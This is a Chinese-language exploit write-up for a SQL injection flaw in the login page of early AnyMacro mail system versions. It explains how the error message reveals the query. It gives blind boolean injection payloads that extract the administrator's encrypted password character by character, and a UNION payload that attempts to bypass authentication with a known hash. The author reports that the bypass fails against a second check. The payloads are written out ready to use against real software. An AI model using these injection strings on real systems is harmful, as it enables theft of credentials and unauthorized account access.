AnyMacro邮件系统在早期版本的用户登录处存在SQL注入漏洞,通过漏洞可爆出用户加密后的密码:
在用户名处输入 ' 号后 将提示错误:
Query DB [select crypt, status from user where id = '' @mail.doamin.cn'] err:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@mail.domain.cn'' at line 1
通过错误提示语句可知系统验证方式是先从用户表(user)中查询出用户的加密后密码(crypt)和用户的状态(status),然后通过比较加密后的用户输入的密码和数据库中查询出的加密后的密码来检测用户是否通过验证,所以无法通过构造万能密码来绕过验证,但是可以通过漏洞来爆出用户加密后的密码:
通过Live Http Headers 插件构造Post的数据,然后根据系统提示是用户不存在还是密码错误可猜解出用户加密后的密码(不知道加密后的密码的加密算法,所以无法破解,如果有谁知道,还请告知)
猜解加密后密码长度
' and (select crypt from user where id='admin@mail.domain.cn')>11 and '1'='1
猜解密码
' and (select ascii(mid(crypt,12,1)) from user where id='admin@mail.domain.cn')>96 and '1'='1
猜解密码
' and (select ascii(mid(crypt,12,1)) from user where id='admin@mail.domain.cn')>96 and '1'='1
其实如果系统只是单纯的靠上面的第一重验证的话,还是可以绕过的,但是需要知道一个已知密码的账号(可以自己注册一个账号),然后通过SQL注入漏洞猜解出其加密的密码,再通过union来替换:
'+and+1=2+union+select+'12vfid3thEEak',status+from+user+where+id='admin@mail.domain.cn
通过Live Http Headers 构造上面的语句,就可以绕过第一重验证了,其中登录用户名处填任意账号,密码处填你自己知道账号的密码,语句的select 后面的字符串是你知道密码的加密后的字符串,这样就可以绕过第一重验证,但是很遗憾的是系统还采用了第二重验证,因为构造这条语句提交后会报另一个错误,大致的意思就是union的前后语句字段数不一致。所以无法靠构造语句来绕过验证。
手工猜解密码的速度太慢